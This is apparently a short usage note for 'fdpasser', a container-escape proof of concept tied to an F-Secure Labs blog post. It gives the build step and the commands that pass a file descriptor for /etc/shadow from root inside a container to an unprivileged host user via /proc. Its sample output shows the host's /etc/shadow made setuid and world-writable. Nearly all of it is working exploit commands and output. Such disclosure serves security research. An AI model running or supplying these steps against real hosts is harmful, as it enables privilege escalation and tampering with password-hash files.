Read the F-Secure Blog: https://labs.f-secure.com/blog/helping-root-out-of-the-container/
make
In container, as root: ./fdpasser recv /moo /etc/shadow
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
Outside container: ls -la /etc/shadow
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow